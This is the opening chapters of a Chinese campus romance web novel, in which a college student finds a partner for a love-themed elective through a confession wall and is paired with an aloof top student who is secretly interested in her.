《和高冷学神成了恋爱搭子》
1. 搭子日记一
江州九月,空气闷热腻人,杜仲树上蝉鸣不止,为空气点缀上一层烦闷。
红白相间的教学楼间,一抹黑色身影正在狂奔。
终于,爬完了四层楼梯。
黑色鸭舌帽微微扬起,帽檐下露出一张泛着薄红的脸。
楚忘殊站在教室后门,瞟了一眼教室名:3402——她选修课的教室。
后门大开着,方便了她观察里面的情景:老师正面向黑板写着东西,进门右手边最后一排有个空位。
进去的好机会!
楚忘殊猫着腰,脚下迅速行动,放包、拉椅子、坐下,动作一气呵成。
呼——
她长吁一口气,终于不用担心第一次上课就被逮到迟到了。
坐定后,她抬眼打量教室,才发现室内几乎全是人,就连平日里空空荡荡的第一排也坐满了人。
而教室的“黄金座位”——最后一排居然还能剩下?
楚忘殊实在不理解,还是说现在的大学生都是卷王?
她摇摇头,卷吧卷吧,反正她人生信条就是咸鱼到底!
咸鱼归咸鱼,科还是不能挂的。
她用笔戳了戳旁边人的胳膊,压低声音道:“同学你好,请问老师说过考核方式了吗?”
“没有。”
一道低沉冷冽的声音落在她耳边。
“哦……谢谢啊。”楚忘殊一顿,循着声音看向旁边的人。
晨光透过玻璃洒在他身边,像是格外偏爱他一样,为他洒下一层金光。额前碎发落拓,光线在周围晕染开,往下是凌冽的眉骨,搭着一双深邃狭长的眼睛,鼻梁高挺,嘴唇偏薄,即使整个人身处柔和的光线下,无端给人一种高山雪莲的距离感。
该说不说,这人的长相还挺符合她的审美,只可惜是在课堂上遇见,上课早已消磨了她所有精力,再生不出任何其他心思。
她收回视线,没注意到旁边人落在她身上的余光。
“同学们,看黑板啊。”中气十足的声音从讲台上传来,瞬间吸引所有人的注意力。
“现在我们来说说同学们最关心的事情——这门课程的考核方式。”
“首先,咱们这节课不点名。”
话音刚落,教室立刻沸腾起来,大家七嘴八舌地欢呼着,甚至有人大叫了一声“好”。
等教室里面的躁动稍稍平息,老师微微一笑,镜光下锐利的眼睛扫视了一圈地下的学生,继续道:“我们这门课有期中和期末考试,当然平时也会偶尔有一些小作业,大家不用担心,都很简单。期中考试的内容我会当堂布置,期末考核的方式见PPT上所示。”
屏幕上页面开始滑动,随后出现几行字:
1、找到对象满绩。
2、没找到对象则按完成一篇5000字的论文论述原因。
底下哀嚎一片,叽叽喳喳的声音点爆教室,几乎快把屋顶掀翻。
最后一排的楚忘殊不可置信地眨眨眼睛,再三确认没有看错后,机械地抬起手机拍下转发宿舍群。
【CWS:(图片)】
【CWS:你们敢信这是我选修课的考核方式??!!】
【CWS:我要退课(死亡微笑)】
看来上课摸鱼的人不止她一个,消息发出去没几秒,宿舍群就开始热闹起来。
【宋词:哈哈哈哈哈哈】
【程以凌:我去,咱学校也是赶上潮流了,月亮,祝你好运吧(偷笑)】
“月亮”是舍友们对她的昵称。
【CWS:你们还好意思幸灾乐祸,还不都怪你们】
楚忘殊手肘撑着下巴,忍不住回忆上学期选课时,当看到下学期有《你真的会恋爱吗?》这门课时,宿舍里那三只单身狗眼里的狂热。
虽然她自己也是母单,但要让她去上课——她才不想上。
别说恋爱课,就是捡金子的课她也不想多上!
那三人也不是完全无脑冲——她们想出一个馊主意:先让一人以身试法,看看效果如何,再决定以后要不要选。
于是三人开始拉着她打牌。
最后的最后,经过一夜的鏖战,楚忘殊不出意外地成了那三人的手下败将,于是有了现在这副场景。
【宋词:哎哎哎,这话说的,这是愿赌服输好吗?】
【CWS:……】
【CWS:我要退课!】
【宋词:不是,你再试试呗,说不一定这门课还真就让你脱单了呢,要不就你那迟钝的脑子,再给你百八十年都没法脱单。】
【CWS:你们真的觉得这种课会有帮助?】
【CWS:看着要求这么多,一定是个事多分少的课,再选下去我挂科了怎么办?】
【宋词:好吧,这课考核的方式也确实太难完成了,退吧退吧,永远避雷这门课。】
【程以凌:也是,那快退课吧。】
楚忘殊关了聊天界面,打开教务系统输入密码,她实在一秒钟都等不了。
宿舍群再次弹出一条消息:
【韩霜:可是今天不是已经是第三周了吗?选课系统早就关闭了吧】
楚忘殊手上的动作一滞。
【宋词拍了拍我,说:“六十分万岁!”】
【宋词:默哀。】
【程以凌拍了拍我,说:“六十分万岁!”】
【程以凌:默哀】
楚忘殊沉默,想起自己这学期前两周因为出国去找她哥,结果护照过期了,晚了两周才回来。
而江州大学的选课系统,是前两周是课程的试听,可以随选随退,但过了后就无法操作。
虽然心里有了答案,但她还是心存一丝侥幸,继续手上输密码的动作。
直到看清教务上没了“网上选课”的入口才彻底死心。
重重叹了口气,她还是无法接受这样的结果,像个蔫不拉几的狗尾巴草,点进宿舍群,看着满屏的蜡烛,她无语凝噎。
【CWS:…………………………………………】
【韩霜:要不你上表白墙上捞个课程搭子?】
【韩霜:像你这样的情况应该挺多的吧】
楚忘殊坐直身子,哎,对啊,这主意不错!
【CWS:霜姐你是我的神!!感恩的心~不像那俩没良心的,只会在一边说风凉话。】
她口中“没良心的人”默契地没说话,只一味地在群里发庆祝的表情包。
【CWS:@宋词:哪个表白墙最靠谱?】
江州大学的表白墙五花八门,甚至很多都是外校的人运营的,上面的内容大多是虚假的噱头,用来引流打广告的,在上面捞搭子,堪比大海捞针。
【宋词:那你可算问对人了,等我十秒。】
接着宋词在群里甩出一张□□截图,上面显示着“江大向阳表白墙(江大学生自营版)”
【宋词:就这个,这个账号的活跃度最高,而且几乎都是本校学生,百分百有用。】
【
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CWS:OK。】
“铃铃铃——”
下课铃声响起,楚忘殊还在□□上搜索表白墙账号,一双冷白修长的手忽然引入眼帘,曲着轻敲了下课桌:“借过。”
“不好意思。”楚忘殊连忙起身,她一心忙着捞搭子的事,忘了自己是坐在课桌外排,会挡住里面的人出来。
下课的大多数人都忙着赶下一节课,教室过道分外拥挤,楚忘殊站在桌子边缘,尽力让出一丝空间。
两人侧身而过时,她才惊觉这人真高。她小时候经常被自家老哥拉着打篮球,所以身高算高的了,但在这人面前,她似乎才到他下巴处。
鬼使神差的,她视线落在那人身上,直到他彻底消失,她才回神。
她坐下,加表白墙的好友。
她以为很快就能解决,因为大多数表白墙为了扩充好友,大多设置加好友不用验证,但这个表白墙却还需要验证同意。
还好她也不急,发完验证消息就收拾书包,准备吃饭去了。
与此同时,男生宿舍3楼。
正在打游戏的宋天然微信忽然收到一条消息,来自他那高冷的室友祝屿白。
【ZYB:你是“江大向阳表白墙”的运营者?】
宋天然放下键盘,在手机上打字回应:【对,咋了,咱祝大校草也要来捞人了?】
那头很快回了消息:【不捞,但有人捞的时候麻烦给我说。】
【纯添加无天然:?】
【ZYB:这个头像的人捞这门课的搭子的话告诉我,顺便把我的联系方式给对方。】
随之发来的是两张截图,一张是一张课程表,其中圈出了“你真的会恋爱吗?”,还有一张是个□□头像,上面是一张夜色中女生的身影。
【纯添加无天然:哦哦,懂了,你也要捞搭子啊?没问题。】
【ZYB:另外,你发布的时候发了仅投稿人可见。】
【纯添加无天然:……为什么?我可是很有职业操守的人。】
【ZYB:你最想要的那个皮肤,送你了。】
【纯添加无天然:好的,哥,我知道你这么做一定有你的道理。】
虽然不知道祝屿白抽什么疯,但能得到自己梦寐以求的那款皮肤,他也就稍微昧一下良心了。
“对不起了同学,谁叫你被祝屿白这厮盯上呢。”宋天然双手合十在心里忏悔道。
而且说不定,根本就没这号人,那就可以白嫖祝屿白的皮肤了。
想法还没落地,手机再次弹出一条验证消息:【CWS请求添加你为好友。】
他没多想,反正表白墙一天几十条验证消息。
等到看清对方的头像时,他心里一跳,怎么和祝屿白发的那个截图一摸一样?
一定是巧合,万一是问其他的事情呢?
他同意后,对方也不废话,直接将自己的目的发过来。
看清内容,他啧啧两声,随后敬佩地看着祝屿白的床位,默默比了个大拇指。
教室内,空调呼呼的制冷声和讲台上老师讲解声掺杂在一起,直直往耳朵里钻。
祝屿白坐在靠窗的位置,依旧是他最爱的最后一排单人独座,望着左手发呆。
放在旁边的手机屏幕亮起,弹出两条消息、
一条是宋天然的,发了张截图,以及一排点赞表情包。
另一条,是添加好友提醒:【我是CWS,在表白墙上捞《你真的会恋爱》课程搭子,你愿意吗?】
2. 搭子日记二
中午,宿舍楼寝室403。
楚忘殊提着外卖,有气无力地推开门。
门一开,屋内似乎自动打开了什么开关,喧嚣声戛然而止,并喜提三双眼睛的注目礼。
“你们仨犯病了?”她放下书包,将外套拖下,拉开椅子坐下,狐疑地问。
“月亮,别难过,我为你带来个好消息和坏消息,你想先听哪个?”宋词转过身,双手扶着椅背,脸贴在上面,圆溜溜的眼睛一眨不眨地盯着楚忘殊。
程以凌在一旁疯狂点头。
就连一向不对琐事感兴趣的学霸韩霜也破天荒地没在看书,而是注意着这边的动作。
楚忘殊一心只想吃饭,迅速拆开外卖袋,扒拉一口,感受到美食落到胃里的充实感后才搭腔:“我有选择权?”
她可太了解宋词这货的套路了,无论自己选哪个,宋词都会按照自己想说的顺序说。
“哎呀,该有的流程还得有嘛。”宋词嘿嘿一笑,半点没有被调侃的尴尬,反而双眼发亮地说:“坏消息是听说这门选修课的老师教学挺严的,不会随便捞人,据说是很多届上过他必修课的学哥学姐的噩梦,”
“但——”宋词拖着腔调,“我打听到,隔壁计算机院那大三学长也选了这门课!”
说完,一脸求表扬的姿态看着楚忘殊。
“哦,知道了。”
肉眼可见的敷衍。
“哎,你这什么态度啊,那可是计算机院的那位,你就没半点惊喜?”宋词不死心继续道。
楚忘殊终于从美食里抬起头来,懵懵地看了一眼宋词:“我都不认识你口中的‘那位’是谁,我惊喜什么啊?”
程以凌恨铁不成钢地一把掐住楚忘殊的脸,痛心疾首道:“女娲啊女娲,你怎么就把这么一张完美的脸给了这个不解风情的木头呢!”
平心而论,楚忘殊的脸确实优越,一张鹅蛋脸,配着一头乌黑浓密的长发,五官精致艳丽,皮肤白得能反光,个子高挑,放在人群中是一眼占据视线中心的人。
大一刚见面时,大家都略显拘谨,彼此不熟悉桑时还以为楚忘殊是个高冷美人,谁知相处后,才发现这人就白白浪费这张脸,顶着这么一张脸,脑子里整天只想着吃什么,甚至有人向她要微信,她都能迟钝地以为别人是要她微信号,一句“我微信给你我用什么?”给人吓得再也不敢有下一步动作。
也是经过这么一战,宿舍里的人终于明白这人为什么从来没有谈过恋爱。
楚忘殊吃饱喝足,发现旁边还站着俩散发着浓重幽怨气息的人。
她顿感不妙,心想得赶紧把这茬糊弄过去,她转向韩霜,打算将她拉到自己的阵营里来:"霜姐,你说这两人的想法是不是很奇怪,就按她们俩的口气,计算机院那货那么帅,人家还会没有女朋友?还会想通过这个选修课谈恋爱了?"
“嗯,是这个道理。”韩霜在她希冀的眼光中缓缓开口,“……可是祝屿白真的很帅。”
像是为了增加自己话语的可信度,她推推鼻梁上的眼镜,煞有介事地重复了一遍。
楚忘殊:“啊?谁是祝屿白?”
她太过震惊,这话从旁边这两人嘴里说出来,就像天要下雨一样自然,但……
她抬起眼,打量着对面的韩霜,难道她被人夺舍了?
这实在不像是她能说出来的话,毕竟在她眼里,所有的碳基生物都比不上歌德巴赫猜想和牛顿-莱布尼茨公式。
“好了好了,我知道你们的校草大人选这节课了好吧,但我已经在表白墙上捞到搭子了,而且说不定计算机那根狗尾巴草早就有搭子了呢,鸽人是不对的,所以就这样啦。”楚忘殊半投降半敷衍道,说完打了个哈欠。
看了眼时间,发现快一点了——她们宿舍的午休时间,她爬上床,道了声午安,拉上床帘准备午休
刚躺下,手机振动一下,弹出条消息,是那个在表白墙捞到的课程搭子。
【我通过了你的朋友验证请求,现在我们可以开始聊天了】
她侧躺着,眼皮好似有千斤重,眯着眼睛打字,然后点击发送:【CWS:同学你好,请问包一学期多少钱?】
对面的祝屿白盯着聊天框里的消息,手指轻敲着桌沿,思索后,敲出一句:【同学,我是正经人。】
楚忘殊蹭的一下从床上弹起来,脑袋瞬间清醒。
“月亮,怎么回事?”刚才的动静太大,宋词扒开床帘问道。
“没事没事。”楚忘殊语无伦次地答道,赶忙回复手机里的消息。
【CWS:不是,我的意思是捞课程搭子,一个学期多少钱。不是你想的那样!】
楚忘殊仰躺着,这一出社死搞得她睡意全无。
手机放在胸口,震动一下。
【ZYB:我知道。】
【CWS:?】
知道你还在那“正经人”不“正经人”的……
在她无语的时候,对面再次发来消息:【ZYB:我也选了这门课。】
所以潜在意思就是不用出钱,而是两人各取所需。
见他这么说,楚忘殊也不扭捏:【行,那合作愉快。】
时间一分一秒流逝,学校生活按部就班地进行着,教室、食堂、宿舍,还有403的周末惯例——每周日的“寻找美食计划”,也就是每周末找个地方去吃饭。
生活就这样周而复始,好似没有任何意外,不用担心风暴的来临,也不用期待惊喜的登场。
或许有人会觉得太过无聊,但对楚忘殊来说刚刚好。
她喜欢这种一成不变的生活。
因为她承担不起任何变化带来的变化。
又是周一。
楚忘殊从后门掐着点到达教室。
和上次同样的最后一排,同样的位置。
但这次楚忘殊知道这是她的位置——她和搭子在微信上说过,他来得早的话帮自己占最后一排的位置。
她坐下,放下书包,侧目。
等等——和上次同样的人?
她揉揉眼睛,确认是不是自己出现了幻觉,为什么上次那个长在她审美点上的帅哥又坐在了这里。
她解锁屏幕,点开新加的那个头像:【你来了吗?】
旁边人的手机应声响起,她清晰地看见,自己的头像出现在对方的手机上。
楚忘殊惊了一瞬,眼睁睁看着旁边这人扭头,阳光洒在他脸上,晃得他微微眯着眼睛,长睫在眼窝周围投下一片阴影,而后应了声:“嗯,我来了。”
猜想得到证实,楚忘殊没过多惊讶,不尴不尬地打了声招呼,而后转头盯着白板。
说不上为什么,她总觉得这位“课程搭子”的眼神有些不同寻常,没有恶意,但总让她浑身不自在。
她竭力地将注意力集中在老师上,想要忽视旁边这股存在度十足的视线。
终于,她感受到他移开了目光。
“好了,相信大家在过去的一个周里都为自己选好了搭档,现在我们请位同学起来给我们讲讲两人之间是如何选搭子的。”
楚忘殊刚回神,尹老师的声音就落在耳边。
教室里的头瞬间低下去一大片,楚忘殊很有经验地低下头。<
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p>这个时候,和老师没有眼神接触是最好的选择。
她倒也不是不敢面对老师,而是点到她她能回答什么啊?难道直接说在表白墙上捞的吗?
尹老师可能会直接让她挂科,甚至她都能猜到老师将要说的话,例如:
“这是态度问题。”
“你这同学根本就没把这门课放在心上。”
……
陆陆续续有人站了起来。
有人面红耳赤,说自己的搭子是他的暗恋对象;有人说是自己好朋友,用了顿火锅换来的;还有人说是去找大师算桃花运算来的……
教室里不时传来阵阵善意的起哄声,这个环节不点到自己回答的话还算有点意思。
“好了,安静下来,我们再点最后一个同学。”讲台上咧着嘴角的尹老师扫一眼底下的一群人,看着他们在他说完这句话后不约而同低下头,活像一个个立正的鹌鹑蛋,不由得好笑,然后去看点名册。
“祝屿白。”
三个字落地,楚忘殊长吁一口气,不是她,心里悬着的石头终于落了地。
她调整了下坐姿,饶有趣味地环视四周,看看是哪个倒霉蛋。
咫尺之外的“课程搭子”应声站起来。
楚忘殊嘴角的笑忽然凝固了。
他是祝屿白?那三人嘴里的计算机院院草?
他不会说是在表白墙上捞的吧?
完了完了,看这学霸样就知道他不像会撒谎的人。
看来这科挂定了……
“这位同学,你来说说你为什么会选择你的组队对象。”
话音落,教室里所有人齐刷刷地转过头盯着祝屿白,再装作不经意地扫过他旁边的楚忘殊,都在好奇他的答案。
“一见钟情。”
祝屿白简短的四个字砸下,教室瞬间鸦雀无声。
片刻后八卦的心情更强烈了,教室里的人疯狂向最后一排的两人投去视线,甚至有人明目张胆地拍照。
尹老师扶了扶眼睛,调侃了句,“哟,小伙子很坦诚嘛。”
说这话,视线移到楚忘殊身上,善意地笑了笑,“看来这位同学就是祝同学一见钟情的对象了,看起来很般配嘛,期待你们结课时拿到满绩哦。”
他向下弯了弯手,示意祝屿白坐下,而后开始讲课,“现在我们来上第一课题:爱情是什么之一见钟情钟的是不是见色起意?”
说完,在学生们的起哄声中,他慢慢开始讲解。
最后一排的两人气氛有些沉默和不自在。
楚忘殊决定打破这样的沉默。她微微弯着腰,将脸贴近黄白色的课桌,悄声道:“你临场反应发挥也太绝了吧。”
祝屿白配合着他,同样低下头,尽量压低声音:“不是临场反应,”说完一顿,接着道:“是排练许久。”
楚忘殊一愣,然后笑笑,“不愧是学霸,连这也预料到了。”
“当然不是,我又不是神。”
祝屿白看着她,忽然轻笑一声,“我大二选修过这个老师的课,老师第一次开设这个课担心没有效果,所以叫我和他配合一下。”
和祝屿白短暂的接触中,这是楚忘殊第一次听他说这么长的话。
他的嗓音像是夏天的薄荷,清凉而又令人着迷,带着蛊惑人心的力量。
楚忘殊仔细思考了一下,确实,他的“一见钟情”很好地和老师即将开讲的课程结合起来。
她点点头,表示理解,而后退回去,坐直身子,努力装作认真听课的样子。
没注意到旁边的祝屿白深邃的眼神里藏着的一丝落寞。
3. 搭子日记三
“好了,我们今天的课就上到这里,现在请同学们完成如下作业。”
下课铃声响起,尹老师拍拍手,示意大家看白板。
上面是这周的课后作业:和对方连续聊天一周。
“哎,老师,这个要记入平时成绩吗?”有人举手问。
“当然。”
教室里稀稀拉拉地发出一阵唉声叹气。
好似看出大家的担心,尹老师再次开口道:“当然,我会很尊重同学们的隐私,不会看聊天记录的。至于我打分标准嘛……”他停下话头,在众人的期待声中卖了个关子:“下节课你们就知道了。”
楚忘殊下节还有课,教室在二期校区,所以她在听完作业就走了,没听到后面的要计入平时成绩。
下课高峰期,楼梯间人满为患,只能慢吞吞地跟着人流走。
偏偏她上课的教室又是在最高层,所以即使她很快冲了出来,还是只能等着。
等她到达楼下,才发现在她后出教室的祝屿白也到了。
她草草扫过一眼,没再注意他,而是盯着手机,看给宋词发的消息:【我下课了,你人呢?】
下节课是专业课,还是最严厉的那个老师的课,平生最讨厌迟到。
她电瓶车坏了,本来打算和宋词一起去,让她带自己过去,没想到宋词今天不知怎么回事,发去的消息石沉大海,过了五分钟都没有回复。
楚忘殊眼里浮现一抹焦急。她扭头环顾四周,努力寻找宋词的身影,可人群实在太多,放眼望去全是头,等下去一点儿也不现实。
她放弃了,决定跑着去教室。
头顶高悬的烈日,似乎也在看好戏,刚还藏在云朵底下,此刻顽皮地扯开遮挡物,一览无余地让阳光照向大地。
楚忘殊闭闭眼,深呼吸口气,而后迈开步子,颇有种视死如归的气势。
右手胳膊忽然被人拉住。
“楚忘殊。”
她循声回头,看见祝屿白的脸。
“抱歉。”他松开握在胳膊上的手,为刚才的行为道歉,“你是要去二期上课吗?你打算跑着去?”
“额……对。”
“我送你吧,我刚好要过去。”他提议道,“现在只剩十分钟就上课了,你跑着似乎也赶不上,而且我刚好也要过去。”
似乎为了增加自己提议的可信度,他继续道:“而且太阳这么大,跑过去浪费精力,上课都不能专心听讲。”
楚忘殊虽然觉得听不听课不重要,但在这么一个大太阳底下跑十分钟,肯定嗓子疼身体虚的,她不是那种自虐的人。
“好,谢谢。”
她坐上后座,双手后握住靠背。
祝屿白转过头,低声询问:“坐稳了吗?”
“嗯。”
车子迅速驶离。
眼前景色快速变换,凉风拂过脸颊,带来炎热天里难得的清凉。
她坐在后座,只能看到祝屿白宽阔的后背。
今天他穿了一件白T和浅蓝色薄外套,依稀可见他背部流畅的线条。
肩部宽阔,背脊瘦削。
多一分太壮,少一分太弱,恰到好处,是她喜欢的身材类型。
“嘶——”
猝不及防一个急刹,楚忘殊被惯性带着往前,一头撞上祝屿白的背。
鼻子传来的疼痛将她从思绪拉回,意识回笼的那一刻,她整个人一震,她刚才居然在想祝屿白的拥抱是什么感觉……
要死了,居然在人正主面前犯花痴……
“你没事吧?”祝屿白回过头关切地问。
刚才路上忽然窜出一只猫,他怕撞到猫,才突然急刹。
“没事没事。”楚忘殊有些心虚,连忙摆摆手道。
其实鼻梁处还火辣辣地疼,也不知道祝屿白被她撞得疼不疼……
接下来他们一路无话,沉默地过了个红绿灯,再右拐个弯到达教室。
“谢谢,麻烦你了。”楚忘殊下车,向他道谢,而后指了指教学楼,“那我先去上课了,再见。”
“不客气,再见。”
楚忘殊先转身跑向教学楼,听到身后车辆启动的声音,知道祝屿白离开了。
她放松下来,看了眼时间,还有一分钟上课,她放缓脚步,没再接着跑。
“月亮!”
一身熟悉的声音在耳边响起,楚忘殊下意识回头,就见宋词气喘吁吁地朝自己跑来。
“你怎么还在这里?”楚忘殊边走边问道。
她居然还在自己后面,这很不合理。
宋词哭丧着脸,怨气重重地道:“上节课老师拖堂了呗!天哪,我就没见过他这么能拖的老师,偏偏上课的时候天南海北地侃天侃地,一下课,哎嘿,想起来讲课了。”
楚忘殊勾了勾嘴角,幸灾乐祸,她拍拍宋词的肩,“好了,先走吧,快上课。”
“嗯,”宋词低声应了声,忽然语气一转,撞了撞楚忘殊的胳膊,挤眉弄眼道:“哎,月亮,说说呗,刚才什么情况?”
“什么?”楚忘殊不明所以。
“祝屿白啊。”
楚忘殊反应过来,听着她话里八卦的意味,无奈道:“就刚好顺路。我电瓶车不是怀了吗,等你又半天等不到,不然我顶着这大太阳跑过来吗?”
宋词挑眉,促狭一笑,拖腔带调的,“哦,看不出来我们的祝大学神还这么热心肠啊。”
“行了,收起你那副阴阳怪气的嘴脸,再不加快点要迟到了。”
上课铃响的前一秒钟,两人踏进了教室。
这节是专业课,所以宿舍里的人都在,程以凌和韩霜前两节课也是在二期上的,所以来得比较早,帮她们两人占了窗边后排的位置。
窗帘没拉,太阳直挺挺地照进来,好像瞌睡虫渗入阳光里,直让楚忘殊觉得眼睛下一秒立马就要闭上了。
一阵凉风袭来,吹散她的睡意,凉意与热气的交替,令她脑海里坐在祝屿白后座上的场景挥之不去。
淡蓝色外套被风吹起的衣角翻飞,带着少年肆意昂扬的傲气。
忽然,楚忘殊一个机灵,眉梢间浮现一抹疑惑,她脑袋瓜到底在想什么啊……
她晃晃脑袋,企图把里面乱七八糟的想法晃晕,那样它们就没法乱窜。
墙上的钟表走了一圈又一圈,转眼又到午休时间。
只是这次,因为某个大嘴巴并且爱脑补的人,宿舍里没了往日的平静。
“你们是没看到,祝大学神站在桂花树下,阳光倾泻而下,将他身影勾勒得忽明忽暗,他含情脉脉地注视着月亮离开,那眼神,比望妻石还要虔诚……哎哟,谁敲我头?”
宋词裹着摇摇欲坠的毛巾,边扶正边转身寻找罪魁祸首。
还没看清人影,楚忘殊冷酷无情的声音就在周围响起:
“第一,少看点乱七八糟的书,还光把他身影勾勒得忽明忽暗,怎么勾勒啊?太阳是在外面蹦迪啊?”
“第二,就你那近视眼,三米之内六亲不认,五米开外人畜不分的,还看清人家的眼神多么含情脉脉,你看到树下有人就谢天谢地了。”
宿舍里爆笑一片,笑得人前仰后合,程以凌差点笑得从椅子上摔下去。
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宋词哼哼一声,“你懂什么叫适当的夸张吗!”
“好吧,这一出‘深情顺路’的剧情算是什么小宋词的胡诌,那你是不是要解释一下‘一见钟情’是怎么回事啊?”
程以凌坐稳了,双手交叠在椅背上,歪着头,一脸好奇和八卦。
楚忘殊预料到选修课上的事会传开,毕竟大学生对凑热闹很是情有独钟。
她并不担心会有什么影响,热闹那么多,这件微不足道的小事顶多够讨论半天的热度。
她原封不动地将祝屿白的话给三人复述一遍,随后摊摊手,“好了,事情就是这样,散了散了,没有你们预想的八卦看。”
她打了个哈欠,转身去了卫生间。
剩下的三人面面相觑,似乎还在消化楚忘殊给出的回答。
短暂的沉默后,一道疑惑的轻声呢喃若有似无地响起:
“可是,祝屿白大二不是出国做交换生了吗?怎么会上过尹老师的课……”
——
晚上,江大校园里金桂飘香,凉风习习,掠过横亘在宿舍楼和教学楼里的池塘,泛起阵阵涟漪。
楚忘殊身上挂着四个手机,沿着池塘旁的塑胶道慢跑。
她瞥一眼距离,还差一百米。
江州大学每学期都有跑步的要求,每天两公里,每周至少要跑四天。
楚忘殊她们宿舍决定,每周每人跑一天,今天正好轮到楚忘殊。
任务完成,她放缓速度,准备做几组拉伸。
夜色下,微风吹动树梢,树叶翩飞,发出清脆的沙沙声。
消息提示音忽然响起。
楚忘殊低头查看,在触及发消息的人时一顿,是祝屿白 。
【ZYB:(图片)】
【ZYB:在图书馆学习。】
楚忘殊皱了皱眉,没理解他在干嘛?给自己报备行程?
【CWS:?】
那边秒回:【完成作业。】
他话说得简短,好在楚忘殊理解了,他是说在完成那节恋爱选修课的作业。
她想起来,是尹老师布置的“和对方聊天一周”的作业。
只是这个作业一般不都默认不用做的吗?反正尹老师也说了不会看聊天记录,那就说明不会有查啊。
不过她还是发了一张跑道旁的路灯过去:【CWS:在跑步。】
【ZYB:嗯,注意安全。】
发完这句,对方没有再回,楚忘殊也默契地没发消息。
她点开他发过来的那张图书馆的图,感叹不愧是学霸,现在居然还泡在图书馆。
她忽然又响起前几天宋词说的,祝屿白的满绩神话,不论选修还是必修,甚至就连体育课,都以满绩的成绩结课。
那是不是说明,他这次的选修课也是奔着满绩的方向去的?
如果因为和自己组队,没拿到满绩?那自己岂不是成了学神“满绩神话”的绊脚石……
她抬头注视着天上的弯月,心里有了想法。
【CWS:祝屿白,我想和你商量个事。】
几乎是在她发出去的同一秒,对方回:【嗯,你说。】
【CWS:要不你重新找个搭子吧?】
界面上一直显示“对方正在输入中”,可她等了半天,还是没有任何消息。
或许是学神自带的压迫感,等待回消息的时候,她紧闭着眼睛不敢看,时不时睁开一丝缝隙,看他回了什么。
“对方正在输入中”显示半天后,消息终于发了过来:
【ZYB:你有其他人了?】
4. 搭子日记四
夜晚凉风习习,树影婆娑作响。
楚忘殊站在塑胶跑道上,盯着手机上的消息,一脸无语和好笑。
什么叫她有其他人了?学霸的脑子不应该都很擅长分析的吗?
第一反应居然是这个!
【CWS:当然不是,我只是怕拖你后腿。】
那边秒回:【ZYB:?】
【CWS:表白墙捞搭子这种事太偶然和随机了,你完全不了解我,所以你不知道我其实很不上进,完全不在乎成绩如何,我只要确保不挂科就行。】
界面上一直显示“对方正在输入中”,但楚忘殊等了半天,仍然没有任何消息发过来,所以她只好发过去解释。
【CWS:这两天我听到了很多你的传闻,知道你对成绩的要求很高,所以为了不拖你后腿,你重新找个搭子吧。】
楚忘殊发完,如释重负地呼了口气,好似刚放下了一块千斤重的石头。
现在她需要等着祝屿白的同意即可。
看她多善解人意,自己主动提出,还免了他不好意思开口的尴尬局面。
手机提示音响起,【ZYB:你就因为这个吗?】
难道这不就是最重要的原因吗?
【CWS:对。】
【ZYB:我不在乎成绩。】
这下轮到楚忘殊一脸懵了,满绩卷王居然说不在乎成绩?
不是,那你的意思就是之前的成绩就是随手考的呗,人恰好出现在考场,恰好看了眼试卷,恰好考了个满绩……
真不知道这人是炫耀呢,还是炫耀呢。
【ZYB:我选修课的学分修满了,所以这门课成绩怎么样都没关系。】
似是听到她心里的质问,祝屿白的解释弹出。
楚忘殊呆愣在原地,差点被一辆自行车撞到才,这意识到自己挡在了路中间,轻声说了句抱歉,她慢慢挪到旁边的围栏上,迎着月色下满池的荷花消化祝屿白的话。
所以他选课不是为了学分,只是为了体验?
楚忘殊大写的服气。
她想不到居然有人会这么热爱上课,果然这就是学神和普通人之间的差别。
【ZYB:所以我们可以继续搭档吗?】
祝屿白的消息再次弹出,明明是页面上冰冷的默认字体,楚忘殊却从上面读出了祈求的语气。
噫!
她甩了甩头,将这么乱七八糟的想法从脑袋里甩出去。
事已至此,好像没有任何拒绝的理由了。
【CWS:当然!合作愉快(握手)】
发完消息,她看向微风拂过而摇曳的荷花,连带着池水表面荡起的阵阵涟漪。
这景色挺美的,比以往任何时候都漂亮。
往后的时间,她按部就班的一周多了一项惯例——点亮和祝屿白的聊天框。
虽然大多数时候她都忘了,都是祝屿白发消息过来她才想起来回。
——
周六晚,楚忘殊今晚第十六次拿起手机。
她五点多就发了消息给祝屿白,以往他几乎都是秒回,今天却快过去三个多小时了还没回。
连续聊天一周,可不能断啊!
虽说祝屿白说了不在乎成绩,但楚忘殊还是不想因为自己的原因连累别人。
正想着,手机忽然亮起,微信上显示有个小红点,点开后却发现是公众号消息。
她深深叹了口气,将手机丢在桌子上,身子往后仰,整个人摊在椅子上。
“月亮你咋了?”宋词端着盘切好的西瓜,趿着拖鞋,慢悠悠地走向楚忘殊,手上不忘拿牙签戳块西瓜喂到楚忘殊嘴里。
“完成作业啊。”楚忘殊嚼着西瓜,依然还是那副有气无力的样子。
“啊?还有什么作业啊?我怎么不记得了?完了完了,什么时候交?”宋词一脸惊慌,脑袋飞速运转,扫搜索着自己最近有没有做过什么作业,发现一片空白后,嘴里的西瓜也不香了。
楚忘殊直起身,赶紧解释是自己那门选修课的作业,眼疾手快地拉住宋词慌张的身影,再不拉,这人可能得一个弹射起步直奔电脑去。
宋词长舒一口气,“那就好那就好,吓死我了,我还以为我又忘做作业了。”说着不忘往嘴里递西瓜压压惊。
“什么作业啊,今天还做。”程以凌敷着面膜从浴室出来。
宋词:“吃西瓜不?”
程以凌摆摆手,“晚上八点之后我可不能摄入任何糖分,会长胖的。”说完转向楚忘殊,“月亮你还有什么作业啊?”
“聊天啊。”
“啊?”宿舍三人异口同声地发出疑问。
楚忘殊好似早预料到这个局面,早就拿出了手机上拍的写着作业要求的PPT。
宋词接过去,看清后递给程以凌,程以凌看完如法炮制递给下一个。
手机在宿舍环游一圈,终于回到楚忘殊手里。
“啊啊啊,月亮都是我们对不起你。”
片刻沉默后,宋词忽然伏在楚忘殊椅子旁,拉住她的手,一脸同情地说。
“啊?”
状况转变得太快,楚忘殊完全没反应过来现在是什么情况,一脸莫名其妙。
“听说那个祝屿白话少得要死,让你和他聊天一周,简直堪比酷刑啊!!!”宋词似乎入戏了,甚至眼角都挤出了几滴泪珠,好像楚忘殊真的遭受了十大酷刑一般。
程以凌点头附和,“早知道我们当时不故意坑月亮去选这门课了。”
“啊,其实没那么夸张。”
楚忘殊实在受不了这种尴尬得场景,特别是那个戏精宋词还抱着她胳膊一副泫然欲泣的样子,尬得她汗毛耸立,鸡皮疙瘩掉一地。
她用那支还没被宋词禁锢的手打开手机,“喏,我们聊得挺好的。”
宋词表演伸缩自如,立马换了副表情,好奇地站起来去看手机。
